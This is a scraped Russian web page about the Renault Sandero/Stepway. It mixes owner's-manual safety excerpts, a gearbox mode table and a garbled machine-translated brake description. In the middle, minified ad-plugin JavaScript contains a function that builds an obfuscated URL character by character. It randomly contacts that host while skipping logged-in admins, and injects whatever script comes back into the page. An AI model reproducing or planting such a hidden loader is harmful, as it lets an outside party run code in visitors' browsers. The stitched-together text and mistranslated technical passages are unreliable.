Renault sandero / stepway (2022 год). руководство — часть 3
————————————————————————————————————————————————————-
1.19
Приведенная ниже информация относится к ремням безопасности передних и задних сидений автомобиля.
РЕмНИ БЕЗОПАСНОСТИ
(6/6)
– Категорически запрещается вносить какие-либо изменения в конструкцию элементов штатной системы безопасности:
ремней безопасности, сидений и их креплений. В особых случаях (например, при установке детского сиденья) обращай-
тесь на сервисную станцию компании-производителя.
– Не используйте какие-либо предметы для ослабления прилегания ремня к телу (например, прищепки для белья, зажимы
и т. п.): ремень безопасности, надетый слишком свободно, при аварии может нанести травму.
– Никогда не пропускайте плечевую ветвь ремня под рукой или за спиной.
– Не используйте один и тот же ремень для пристегивания нескольких человек и ни в коем случае не пристегивайтесь одним ремнем
вместе с ребенком, сидящим у Вас на коленях.
– Ремень безопасности не должен быть перекручен.
– После аварии проверьте и при необходимости замените ремни. Замену следует произвести и в том случае, если на ремнях появи-
лись признаки износа или повреждений.
– При установке заднего сиденья на место проследите за правильной заправкой ремней безопасности и их замков, чтобы их можно
было использовать по назначению.
– Следите за тем, чтобы пряжка ремня была вставлена в соответствующий замок.
– Убедитесь в отсутствии посторонних предметов в области замка ремня безопасности, которые могут сказаться на его работе.
– Обеспечьте правильное положение замка ремня безопасности (он не должен быть спрятан, сломан, зажат… предметами или
людьми).
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-
1.23
ДОПОЛНИТЕЛЬНЫЕ СРЕДСТВА ПАССИВНОЙ БЕЗОПАСНОСТИ ВОДИТЕЛЯ И ПЕРЕДНЕГО ПАССАЖИРА
(4/4)
Приведенные ниже предупреждения направлены на обеспечение надлежащего функционирования подушек безопасности и,
тем самым, предотвращение тяжелых травм при их срабатывании.
(см. раздел «Безопасность детей: выключение, включение подушки безопасности переднего пассажира», глава 1)
Предупреждения, касающиеся подушки безопасности водителя
– Не изменяйте конструкцию рулевого колеса и его ступицы.
– Запрещается накрывать ступицу рулевого колеса.
– Не прикрепляйте на месте установки подушки безопасности какие-либо посторонние предметы (значки, эмблемы, часы,
держатели для телефона и т. д.).
– Запрещается самостоятельно демонтировать рулевое колесо (эта операция должна выполняться квалифицированным персона-
лом сервисной станции компании-производителя).
– При управлении автомобилем не располагайтесь слишком близко к рулевому колесу. При правильной посадке руки, лежащие на
рулевом колесе, должны быть слегка согнуты в локтях (см. раздел «Передние сиденья» в разделе 1). Это обеспечит достаточное
пространство для развертывания и правильной работы подушки.
Предупреждения, касающиеся подушки безопасности пассажира
– Не прикрепляйте и не приклеивайте к приборной панели в месте расположения подушки безопасности какие-либо посторонние
предметы (значки, логотипы, часы, держатели для телефона и т. п.).
– Между передним пассажиром и приборной панелью ничего не должно находиться (зонты, трости, пакеты, животные и т. п.).
– Не кладите ноги на щиток приборов или на сиденье, т. к. это может привести к серьезным травмам. Пассажиру рекомендуется пос-
тоянно следить за тем, чтобы все части его тела (колени, руки, голова и т. д.) располагались на достаточном удалении от прибор-
ной панели.
– После снятия детского кресла с сиденья пассажира следует снова включить систему пассивной безопасности переднего пасса-
жира для обеспечения защиты пассажира в случае удара.
ЗАПРЕЩЕНО УСТАНАВЛИВАТЬ ДЕТСКОЕ СИДЕНЬЕ ПРОТИВ НАПРАВЛЕНИЯ
ДВИЖЕНИЯ НА СИДЕНЬЕ ПЕРЕДНЕГО ПАССАЖИРА, ЕСЛИ НЕ ОТКЛЮЧЕНА СИСТЕмА
ПАССИВНОЙ БЕЗОПАСНОСТИ ВОДИТЕЛЯ И ПЕРЕДНЕГО ПАССАЖИРА.
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-

RUS_NU_993-11_BKL52_Dacia_1
1.25
Неисправности
При включении зажигания на несколько
секунд загорается сигнальная лампа
1,
расположенная на щитке приборов.
Если при включении зажигания сигналь-
ная лампа не загорается или загорается
при работающем двигателе, это свиде-
тельствует о неисправности в системе
(подушек безопасности, преднатяжителей
ремней безопасности и т. д.) на передних
и/или задних местах.
Срочно обратитесь на сервисную станцию
компании-производителя. Несвое времен-
ное обращение может привести к сниже-
нию эффективности защиты.
СИСТЕмА ПАССИВНОЙ БЕЗОПАСНОСТИ
В приведенных ниже предупреждениях указано, как обеспечить беспрепятствен-
ное срабатывание подушки безопасности и, тем самым, избежать тяжелых травм
при ее срабатывании.
Подушки безопасности дополняют действие ремней безопасности, они явля-
ются элементами единой системы безопасности. Следует всегда пристеги-
ваться ремнями безопасности; неиспользование ремней безопасности ведет
к серьезным травмам при аварии и может увеличить риск получения лёгких
повредений кожи при срабатывании подушек.
Преднатяжители ремней безопасности или подушки безопасности не всегда сраба-
тывают в случае опрокидывания автомобиля или заднего удара (даже сильного).
Удар в нижнюю часть автомобиля, например, при наезде на бордюрный камень, яму,
камень и т. п. может привести к срабатыванию этих систем.
– Всякое вмешательство или внесение изменений в конструкцию системы поду-
шек безопасности водителя или пассажира (самих подушек, преднатяжителей,
электронного блока, электропроводки и т. д.)
строго запрещено (за исключени-
ем ремонта, выполняемого квалифицированным персоналом сервисной станции
компании-производителя).
– Чтобы обеспечить нормальное функционирование и предотвратить самопроизволь-
ное срабатывание, работы с подушками безопасности должны выполняться только
квалифицированным персоналом сервисной станции компании-производителя.
– В целях безопасности следует проверить исправность системы подушек безопас-
ности автомобиля после аварии, угона или попытки угона.
– При продаже или передаче автомобиля во временное пользование сообщите
новому владельцу обо всех перечисленных условиях, касающихся подушек
безопас ности, а также передайте ему данное руководство.
– При утилизации Вашего автомобиля обратитесь к представителю компании-про-
изводителя для проведения процедуры уничтожения газогенератора(-ов) подушек
безопасности.
————————————————————————————————————————————————————-
§

1.26
БЕЗОПАСНОСТЬ ДЕТЕЙ: общие сведения
(1/3)
Перевозка детей
Вне зависимости от дорожных условий
ребенок, как и взрослый пассажир, дол-
жен правильно располагаться в сиденье и
быть пристегнутым. Вы отвечаете за де-
тей, которых везете.
Ребенок – это не взрослый в миниатю-
ре. Он подвержен опасности получить
особые повреждения, т. к. его мускулы и
кости находятся в стадии роста. Одного
ремня безопасности недостаточно для
перевозки ребенка. Приобретите требу-
ющееся детское сиденье и правильно его
установите.
Чтобы исключить открытие
дверей изнутри, используйте
устройство обеспечения без-
опасности детей (см. раздел
«Блокировка и разблокировка замков
дверей», глава 1).
Особенности автомобилей
с газобаллонным оборудо-
ванием (ГБО*)
Установка ГБО* на автомо-
биль может привести к изменениям
его характеристик по сравнению с ав-
томобилем с бензи новым двигателем
без дополнительного оборудования.
Это может привести к изменению ко-
личества мест и может повлиять на
возможность установки детских сиде-
ний.
Обратитесь к представителю произво-
дителя.
Ни в коем случае не остав-
ляйте ребенка одного в авто-
мобиле.
Всегда проверяйте, чтобы
Ваш ребенок был пристегнут, и что
специальные детские ремни безопас-
ности или его ремень безопасности
правильно отрегулированы и подо-
гнаны. Никогда не одевайте ребенка
в слишком объемную одежду, из-за
этого ремни неплотно прилегают к
телу.
Не позволяйте ребенку высовывать
голову или руки в окно.
Следите, чтобы ребенок сохранял
правильное положение во время дви-
жения автомобиля – в частности, во
время сна.
Удар автомобиля о препятст-
вие на скорости 50 км/ч рав-
носилен падению с 10-мет —
ровой высоты. Перевозить
ребенка непристегнутым – все равно,
что оставить его играть без присмотра
взрослых на балконе четвертого этажа
без перил!
Запрещено держать ребенка на руках.
В случае аварии Вы не удержите его,
даже если сами при этом пристегнуты.
Если Ваш автомобиль попал в аварию,
замените детское сиденье и проверьте
ремни безопасности, а также крепле-
ния ISOFIX.
————————————————————————————————————————————————————-

1.27
Использование детского
сиденья
Уровень защиты, предлагаемой детским
сиденьем, зависит от его способности
удержать Вашего ребенка и правильности
его установки. Неправильная установка
ухудшит защиту Вашего ребенка в случае
резкого торможения или удара.
Прежде чем покупать детское сиденье,
убедитесь, что оно соответствует нор-
мам страны Вашего местонахождения и
может быть установлено в Ваш автомо-
биль. Обратитесь на сервисную станцию
компании-производителя, чтобы получить
консультацию по детским сиденьям, реко-
мендованным для Вашего автомобиля.
Прежде чем устанавливать детское сиде-
нье, прочтите данную инструкцию и дей-
ствуйте в соответствии с ней. В случае
возникновения трудностей с установкой
обратитесь к производителю оборудова-
ния. Храните инструкцию вместе с сиде-
ньем.
БЕЗОПАСНОСТЬ ДЕТЕЙ: общие сведения
(2/3)
Покажите пример, пристегнув Ваш
ремень безопасности, и научите ре-
бенка:
– правильно пристегивать ремень
безопасности;
– заходить в автомобиль и выходить
из него со стороны, противополож-
ной движению.
Не используйте детское сиденье,
бывшее ранее в эксплуатации, или
без руководства по эксплуатации.
Следите за тем, чтобы никакой посто-
ронний предмет вблизи детского си-
денья не помешал его установке.
Ни в коем случае не остав-
ляйте ребенка одного в авто-
мобиле.
Всегда проверяйте, чтобы
Ваш ребенок был пристегнут, и что
специальные детские ремни безопас-
ности или его ремень безопасности
правильно отрегулированы и подо-
гнаны. Никогда не одевайте ребенка
в слишком объемную одежду, из-за
этого ремни неплотно прилегают к
телу.
Не позволяйте ребенку высовывать
голову или руки в окно.
Следите, чтобы ребенок сохранял
правильное положение во время дви-
жения автомобиля – в частности, во
время сна.
Ответственность водителя
при стоянке или остановке
автомобиля.
Даже на короткое время не
покидайте автомобиль, в котором на-
ходится ребенок, взрослый с ограни-
ченными возможностями или живот-
ное, оставив ключ в замке зажигания.
Они могут причинить вред себе или
другим людям, запустив двигатель,
включив оборудование, например,
стеклоподъемники, или заблокировав
двери.
Кроме того, нужно учитывать, что в
теплую и/или солнечную погоду темпе-
ратура в салоне автомобиля поднима-
ется очень быстро.
Существует опасность тяжелых
травм или летального исхода.
————————————————————————————————————————————————————-

1.28
Специальные подушки (бустеры)
Ребенка, если его вес превышает 15 кг
или если он старше 4 лет, можно перево-
зить на специальной подушке, которая по-
зволяет подстроить ремень безопасности
под особенности телосложения. Бустер
должен иметь направляющие, распола-
гающие ремень безопасности на бедрах
ребенка, а не на животе. Лучше всего
использовать сиденье с регулируемой
по высоте спинкой и направляющей для
ремня безопасности, позволяющей рас-
положить ремень безопасности посере-
дине плеча. Ремень не должен касаться
шеи или предплечья. Выбирайте сиденье
охватывающего типа для лучшей боковой
защиты.
Детское сиденье по направлению
движения
Голову и брюшную полость детей следует
защищать в первую очередь. Детское си-
денье по направлению движения, хорошо
закрепленное в автомобиле, уменьшает
риск травмирования головы. Перевозите
ребенка в сиденье со специальными дет-
скими ремнями безопасности лицом по
направлению движения, если его рост это
позволяет. Используйте глубокое кресло
для лучшей боковой защиты.
Детское сиденье против направления
движения
Голова ребенка в пропорции к телу тяже-
лее головы взрослого человека, к тому же
его шея очень хрупкая. Как можно дольше
перевозите ребенка в таком сиденьи (не
менее чем до 2 лет). Оно помогает удер-
живать голову и шею. Выберите охваты-
вающее сиденье для лучшей боковой
защиты и смените его, как только голова
ребенка станет выступать за границы
сиденья.
БЕЗОПАСНОСТЬ ДЕТЕЙ: общие сведения
(3/3)
————————————————————————————————————————————————————-

1.29
Крепление системой ISOFIX
Разрешенные детские сиденья ISOFIX
сертифицированы в соответствии с нор-
мами ECE-R44 в одном из трех следую-
щих случаев:
– универсальное
детское
сиденье
ISOFIX с тремя точками крепления ли-
цом по направлению движения;
– полууниверсальное детское сиденье
ISOFIX с двумя точками крепления;
– специальное.
Перед установкой сидений двух послед-
них типов убедитесь в такой возможности,
изучив список автомобилей, на которых
их установка разрешена.
Закрепите детское сиденье при помощи
замков ISOFIX, если оно ими оснащено.
Система ISOFIX устанавливается просто,
быстро и надежно.
Система ISOFIX состоит из трех колец
для каждого заднего бокового сиденья.
Крепление ремнем безопасности
Ремень безопасности должен быть пра-
вильно отрегулирован, чтобы он срабо-
тал в случае резкого торможения или
удара.
Соблюдайте направления ремня, указан-
ные производителем детского сиденья.
Всегда проверяйте пристегивание ремня
безопасности, потянув за него, затем мак-
симально затяните его, держась за дет-
ское сиденье.
Проверьте устойчивость сиденья, совер-
шая движения влево/вправо и вперед/
назад: сиденье должно быть хорошо за-
фиксировано.
Убедитесь, что детское сиденье не уста-
новлено боком и не опирается на стекло.
БЕЗОПАСНОСТЬ ДЕТЕЙ: крепление детского сиденья
(1/3)
Прежде чем использовать
детское сиденье ISOFIX, при-
обретенное для другого авто-
мобиля, убедитесь, что его
установка разрешена. Обратитесь к
производителю оборудования и сверь-
тесь со списком автомобилей, в кото-
рые может быть установлено данное
сиденье.
Ремень безопасности ни в
коем случае не должен быть
ослаблен или перекручен.
Ни в коем случае не про-
пускайте ремень под рукой или за
спиной.
Убедитесь, что ремень безопасности
не поврежден острыми кромками.
Если ремень безопасности не рабо-
тает, как надо, он не сможет защитить
ребенка. Обратитесь на сервисную
станцию компании-производителя. Не
используйте это место, пока не отре-
монтируете ремень безопасности.
Категорически запрещается
вносить какие-либо измене-
ния в конструкцию элементов
штатной системы безопасно-
сти (ремней, системы ISOFIX и сиде-
ний, а также их креплений).
Не используйте детское сиде-
нье, которое может разблоки-
ровать ремень безопасности,
удерживающий его: осно-
вание сиденья не должно опираться
на пряжку ремня и/или замок ремня
безопасности.
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-
————————————————————————————————————————————————————-
1.32
БЕЗОПАСНОСТЬ ДЕТЕЙ: установка детского сиденья
(1/7)
После установки детского сиденья мож-
но при необходимости сдвинуть сиденье
вперед (для того чтобы предоставить
достаточно места для пассажиров зад-
них сидений или для установки других
детских сидений). Детское сиденье,
установленное спинкой по направлению
движения, не должно соприкасаться с
приборной панелью или устанавливать-
ся в крайнее положение.
После установки детского сиденья не
меняйте выполненные регулировки.
Установка детских сидений разрешается
не на все пассажирские сиденья. Схемы
на следующих страницах показывают, где
можно устанавливать детское сиденье.
Предпочтительной является
установка детского сиденья
на заднем сиденье.
Убедитесь, что детское сиде-
нье или ноги ребенка не препятствуют
надежной фиксации переднего сиде-
нья. См. раздел «Детское сиденье»,
глава 1.
Убедитесь, что при установке детского
сиденья в автомобиле оно не откре-
пится от опорной поверхности.
Если необходимо снять подголовник,
убедитесь, что он убран в надежное
место и не вылетит при резком тормо-
жении или ударе.
Надежно закрепите детское сиденье,
даже если Вы не используете его, что-
бы оно не вылетело при резком тормо-
жении или ударе.
Указанных типов детских сидений может
не иметься в продаже. Прежде чем ис-
пользовать другое детское сиденье, об-
ратитесь к производителю, чтобы узнать,
может ли оно быть установлено.
На переднем месте
Перевозка ребенка на месте переднего
пассажира имеет свои особенности для
каждой страны. Сверьтесь с действую-
щим законодательством и следуйте ука-
заниям схемы на следующей странице.
Прежде чем установить детское сиденье
на сиденье переднего пассажира (если
разрешено):
– отключите фронтальную подушку без-
опасности;
– максимально отпустите ремень без-
опасности;
– отодвиньте сиденье назад до упора;
– слегка наклоните спинку сиденья от-
носительно вертикали (примерно на
25 градусов);
– если автомобиль оснащен данной сис-
темой, поднимите максимально подуш-
ку сиденья.
Во всех случаях следует максималь-
но поднять подголовник сиденья таким
образом, чтобы он не касался детского
сиденья (см. раздел «Подголовники»
в главе 1).
С м Е Р Т Е Л Ь Н А Я
ОПАСНОСТЬ ИЛИ РИСК
ПОЛУЧЕНИЯ ТЯЖЕЛЫХ
ТРАВм! Перед установкой
детского кресла на это место убеди-
тесь, что соответствующая подушка
безопасности отключена (см. раздел
«Выключение, включение подушки
безопасности переднего пассажира»
в главе 1).
————————————————————————————————————————————————————-

1.33
БЕЗОПАСНОСТЬ ДЕТЕЙ: установка детского сиденья
(2/7)
На среднем месте заднего сиденья
Установка детского сиденья на этом месте
разрешается, только если на нем установ-
лен ремень безопасности с катушкой. За
дополнительной информацией обращай-
тесь на сервисную станцию компании-
производителя.
На боковом месте заднего сиденья
Люлька устанавливается поперек автомо-
биля и занимает минимум два места. Уло-
жите ребенка головой в противоположную
от двери сторону.
Перед установкой детского сиденья с по-
мощью креплений ISOFIX заднего боко-
вого места убедитесь в том, что пряжки
ремней безопасности не находятся между
двумя креплениями ISOFIX этого места.
В случае необходимости переместите
пряжку ремня безопасности соответст-
вующего места по направлению к центру
автомобиля.
Максимально сдвиньте вперед переднее
сиденье автомобиля, чтобы установить
детское сиденье спинкой вперед, затем
отодвиньте сиденье, расположенное пе-
ред ним на максимальное расстояние без
контакта с детским сиденьем.
Для защиты ребенка, сидящего лицом
по ходу движения автомобиля, сдвиньте
сиденье с ребенком как можно дальше
назад, а сиденье перед ребенком – как
можно дальше вперед, и наклоните спин-
ку сиденья вперед, чтобы создать свобод-
ное место для ног ребенка.
Во всех случаях следует снимать подго-
ловник заднего сиденья, на котором уста-
навливается детское кресло (см. раздел
«Задние подголовники», глава 3).
Убедитесь, что детское кресло опирается
на спинку сиденья автомобиля.
Убедитесь, что детское сиде-
нье или ноги ребенка не пре-
пятствуют надежной фикса-
ции переднего сиденья. См.
разделы «Передние сиденья» в главе
1 или «Трансформируемое заднее
сиденье: функциональные возможно-
сти» в главе 3.
При установке детского си-
денья (бустера групп 2 или
3) проверьте правильность
работы (наматывание) рем-
ней безопасности: см. раздел «Ремни
безопасности» в главе 1. При необ-
ходимости отрегулируйте положение
сиденья автомобиля.
Детское сиденье с опорой на
пол запрещается устанав-
ливать на заднее среднее
место.
С м Е Р Т Е Л Ь Н А Я
ОПАСНОСТЬ ИЛИ ОПАСНОСТЬ
ТЯЖЕЛЫХ ТРАВм.
————————————————————————————————————————————————————-
Алгоритмы управления акпп
Переключение режимов АКПП в Рено Сандеро Степвей происходит с помощью селектора. Сигнал с рычага поступает в компьютер. ЭБУ анализирует информацию, сверяется с заложенными алгоритмами и формирует управляющий импульс для гидроблока и соленоидов.
Информация о состоянии автомата на электронный блок поступает с:
- переключателя положения селектора;
- электромагнитных клапанов и датчиков температуры масла;
- датчика давления жидкости;
- датчика частоты вращения турбины гидротрансформатора;
- электромагнитного клапана регулирования расхода масла через теплообменник.
DP2 в Рено Сандеро настроен на 7 режимов управления, указанных в таблице.
| Режим селектора | Ведущий элемент | Заблокированный элемент | Фрикцион | Тормоз | ||||||
| БМ | Е1 | Е2 | F1 | F2 | F3 | |||||
| Паркинг | P | С1 | — | х | ||||||
| Задний ход | R | С1 | К2 — В1 | х | х | |||||
| Нейтраль | N | С1 | — | х | ||||||
| Движение | 1 | С1 | С2 | х | х | |||||
| 2 | К2 — В1 | С2 | х | х | ||||||
| 3 | С1 К2 —В1 | — | х | х | х | |||||
| 4 | К2—В1 | С1 | х | х | х | |||||
| Повышенная передача | 1 | С1 | С2 | х | х | |||||
| 2 | К2 — В1 | С2 | х | х | х | |||||
| 3 | С2 К1 — В2 | — | х | х | х | |||||
| Пониженная передача | 1 | С1 | С2 | х | х | |||||
| 2 | К2 — В1 | С2 | х | х | х | |||||
| Пониженная кнопка на селекторе | 1 | С1 | С2 | х | х | |||||
Х — включенный пакет;
К1, К2 — коронное зубчатое колесо планетарного ряда;
В1, В2 — водило планетарного ряда;
С1, С2 — солнечное зубчатое колесо планетарного ряда;
К2 — В1 — водило 1 ряда механически соединено с короной 2 ряда;
К1 — В2 — водило 2 ряда механически соединено с короной 1 ряда;
БМ — блокировочная муфта гидротрансформатора;
Е1, Е2 — фрикцион планетарного ряда;
F1, F2, F3 — тормоза.
Предохранители и реле renault sandero 2: схема, расположение блоков
«:’
‘:»»,document.createElement(«div»),c=ff(window),b=ff(«body»),g=void 0===flatPM_getCookie(«flat_modal_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» a.ID «_mb»),i=»scroll.flatmodal» a.ID,m=»mouseleave.flatmodal» a.ID » blur.flatmodal» a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&»true»==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie&&g&&(flatPM_setCookie(«flat_modal_» a.ID «_mb»,!1),ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l()),void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l())},ff(«body > *»).eq(0).before(‘
«),w=document.querySelector(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_modal-content’),flatPM_setHTML(w,e),»px»==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_cross’,function(){flatPM_setCookie(«flat_out_» a.ID «_mb»,!1)})),void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=a.how.outgoing.indent?’ style=»bottom:’ a.how.outgoing.indent ‘px»‘:»»,p=»true»==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer?’
Закрыть через ‘ a.how.outgoing.timer_count «
«:’
‘:»»,c=ff(window),h=»scroll.out» a.ID,m=»mouseleave.outgoing» a.ID » blur.outgoing» a.ID,g=void 0===flatPM_getCookie(«flat_out_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» a.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(a.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘
‘ p «
«);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’);flatPM_setHTML(w,e),»px»==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,o=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘
‘),flat_body.on(«click»,».fpm_5_out .fpm_5_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».fpm_5_modal .fpm_5_cross»,function(){ff(this).closest(«.fpm_5_modal»).removeClass(«fpm_5_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),ff(«[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)»).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»
«],thead:[1,»
«],tbody:[1,»
«],colgroup:[2,»
«],col:[3,»
«],tr:[2,»
«],td:[3,»
«],th:[3,»
«],_default:[0,»»,»»]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,»<$1>») r[2],n=r[0];n—;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,166);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «r» «e» «a» «d» «o» «n» «e» «.» «r» «u» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’
‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘
‘);var t=e.closest(«.fpm_5_video»);flatPM_setHTML(t[0],n),e.find(«.fpm_5_video_flex»).one(«click»,function(){o(this).addClass(«show»)})}),o(«body»).on(«click»,».fpm_5_video_item_hover»,function(){var e=o(this),t=e.closest(«.fpm_5_video_flex»);t.addClass(«show»);var a=t.find(«.fpm_5_timer span»),r=parseInt(l),n=setInterval(function(){a.text(—r),r<=0&&(clearInterval(n),»true»==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(«click»,».fpm_5_video_flex .fpm_5_cross»,function(){o(this).closest(«.fpm_5_video_flex»).remove(),»true»==i&&o(«.fpm_5_video_flex»).remove()})};
Проектирование автомобильной тормозной системы renault sandero stepway
Renault Sandero Stepway оснащен двумя независимыми тормозными системами: рабочим и парковочным.
Первый, оснащенный гидравлическим приводом с вакуумным усилителем и антиблокировочной системой (в зависимости от конфигурации), обеспечивает торможение при движении автомобиля. Следующая причина — замедление автомобиля на стоянке.
Двухконтурная рабочая система с диагональным соединением передних и задних колес. Один гидравлический контур обеспечивает правое переднее и левое заднее тормоза, другой. левый передний и правый задний.
В случае выхода из строя одной из цепей служебного торможения (программного обеспечения) вторая цепь используется для обеспечения того, чтобы Renault Sandero Stepway останавливал автомобиль с достаточной эффективностью. Гидравлический привод включает вакуумный усилитель и двухконтурный регулятор тормозного давления.
Автомобиль оснащен системой стояночного тормоза с тросовым приводом к тормозам задних колес.
Рис. 21. Тормозной механизм переднего колеса Renault Sandero Stepway
1. тормозной шланг; 3.2. клапан выпуска воздуха; 3. крышка направляющего пальца; 4. тормозной диск; 5. тормозные колодки; 6. тормозной суппорт; 7. Направляющие колодки
Передний тормозной механизм Renault Sandero Stepway представляет собой диск с автоматической регулировкой зазора между блоками 5 (рис. 21) и диском 4 с плавающей скобой. В подвижном кронштейне установлен суппорт 6 с рабочим цилиндром с одним поршнем.
Направляющий блок 7 прикручен к рулевой ручке. Подвижный кронштейн прикреплен болтами к направляющим штифтам 3, установленным в отверстиях направляющих колодок. Направляющие штифты смазаны и защищены резиновыми крышками.
Поршень с уплотнительным кольцом установлен в полости цилиндра. Из-за эластичности этого кольца наилучший зазор сохраняется между колодками и диском, поверхность которого защищена тормозным экраном.
Во время торможения поршня под воздействием давления воды внутренний блок давит на диск, при силе реакции суппорт движется просто, а внешний блок также давит на диск, здесь сила прижимных блоков аналогична.
Во время поломки поршня он отвлекается от блока, применяя упругость уплотнительного кольца, и между блоками и диском существует небольшой зазор.
Рис. 22. Главный цилиндр Renault Sandero Stepway с баком
1. пробковый бак; 5. бачок главного тормозного цилиндра; 3, 7. соединительные втулки; 4, 9. отверстия для соединения трубопроводов; 5. Главный тормозной цилиндр; 6. электронный разъем датчика уровня тормозной воды; 8. поршневой толкатель
Главный тормозной цилиндр 5 (фиг. 22) привода гидравлического тормоза тандемного типа состоит из двух отдельных камер, соединенных с независимыми гидравлическими контурами.
Первая камера соединена с правым передним и левым задним тормозными механизмами, вторая. с левым передним и правым задним тормозами.
